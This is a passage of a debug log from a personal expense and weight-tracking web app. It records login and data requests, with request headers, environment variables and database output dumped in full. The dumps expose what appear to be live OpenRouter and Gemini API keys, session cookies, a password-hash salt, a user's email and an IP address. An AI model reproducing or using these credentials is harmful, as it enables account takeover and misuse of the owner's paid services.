    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AT6D9J%2Fy%2FSgAIdtOhPixNag%3D%3D.mh%2B5vxSfFdrqwkCWCONbdva04AQNw2f9Gy%2FA5V29CRniHELZLWRVtl%2B4hjHwcsNhgW35Bs1nN%2FRN%2Fl4LsgZtnAXpzw%2FPJoUV7Gq7Wu%2FS5K3uLgJ6a5%2Fou3Uyibt40oFCNR1rmzWsOrX%2FRylUERDc5PmlI%2Bt09Y1rUWs2rwzyjm8%3D.WO8TKifUND9Mf4PSG1AkXbeDApnEb2c0iWD5CdPqcjk; your_r_git.sid=s%3AwfQNa1wekdtuLsf0nazjGnDyLREA24OE.NkGppEr%2F8iV8TcdIGCnIss%2BqZ7nXWYsE5dLdXJO8cds',
    'x-forwarded-for': '49.43.180.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:08.233Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AT6D9J%2Fy%2FSgAIdtOhPixNag%3D%3D.mh%2B5vxSfFdrqwkCWCONbdva04AQNw2f9Gy%2FA5V29CRniHELZLWRVtl%2B4hjHwcsNhgW35Bs1nN%2FRN%2Fl4LsgZtnAXpzw%2FPJoUV7Gq7Wu%2FS5K3uLgJ6a5%2Fou3Uyibt40oFCNR1rmzWsOrX%2FRylUERDc5PmlI%2Bt09Y1rUWs2rwzyjm8%3D.WO8TKifUND9Mf4PSG1AkXbeDApnEb2c0iWD5CdPqcjk; your_r_git.sid=s%3AwfQNa1wekdtuLsf0nazjGnDyLREA24OE.NkGppEr%2F8iV8TcdIGCnIss%2BqZ7nXWYsE5dLdXJO8cds',
    'HTTP_X_FORWARDED-FOR': '49.43.180.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-20T03:30:22.057Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-20T03:30:22.059Z server-connect:app Executing action step identify
2025-12-20T03:30:22.059Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:22.059Z server-connect:output identity: 1
2025-12-20T03:30:22.059Z server-connect:app Executing action step login
2025-12-20T03:30:22.059Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-20T03:30:22.060Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-20T03:30:22.105Z server-connect:output identity: 1
2025-12-20T03:30:22.105Z server-connect:app Executing action step restrict
2025-12-20T03:30:22.105Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:22.106Z server-connect:output restrict: undefined
2025-12-20T03:30:22.321Z server-connect:router Serving templateView /
2025-12-20T03:30:22.321Z server-connect:app Executing action step identify
2025-12-20T03:30:22.321Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:22.321Z server-connect:output identity: 1
2025-12-20T03:30:22.321Z server-connect:app Executing action step restrict
2025-12-20T03:30:22.321Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:22.322Z server-connect:output restrict: undefined
2025-12-20T03:30:22.322Z server-connect:app Executing action step restrict
2025-12-20T03:30:22.322Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:22.322Z server-connect:output restrict: undefined
2025-12-20T03:30:22.322Z server-connect:router Render template layouts/main
2025-12-20T03:30:22.322Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '49.43.180.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-20T03:30:23.892Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T03:30:23.893Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T03:30:23.893Z server-connect:app Executing action step identify
2025-12-20T03:30:23.893Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:23.893Z server-connect:output identity: 1
2025-12-20T03:30:23.893Z server-connect:app Executing action step restrict
2025-12-20T03:30:23.893Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:23.893Z server-connect:app Executing action step identify
2025-12-20T03:30:23.893Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:23.893Z server-connect:output identity: 1
2025-12-20T03:30:23.894Z server-connect:app Executing action step restrict
2025-12-20T03:30:23.894Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:23.894Z server-connect:output restrict: undefined
2025-12-20T03:30:23.894Z server-connect:app Executing action step select
2025-12-20T03:30:23.894Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T03:30:23.894Z server-connect:output restrict: undefined
2025-12-20T03:30:23.894Z server-connect:app Executing action step single
2025-12-20T03:30:23.894Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T03:30:23.895Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T03:30:23.897Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T03:30:30.163Z server-connect:router Serving templateView /weight-trackor
2025-12-20T03:30:30.163Z server-connect:app Executing action step identify
2025-12-20T03:30:30.163Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:30.164Z server-connect:output identity: 1
2025-12-20T03:30:30.164Z server-connect:app Executing action step restrict
2025-12-20T03:30:30.164Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:30.164Z server-connect:output restrict: undefined
2025-12-20T03:30:30.164Z server-connect:router Render template weight-trackor
2025-12-20T03:30:30.164Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '49.43.180.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T03:30:30.415Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-20T03:30:30.415Z server-connect:app Executing action step identify
2025-12-20T03:30:30.415Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:30.416Z server-connect:output identity: 1
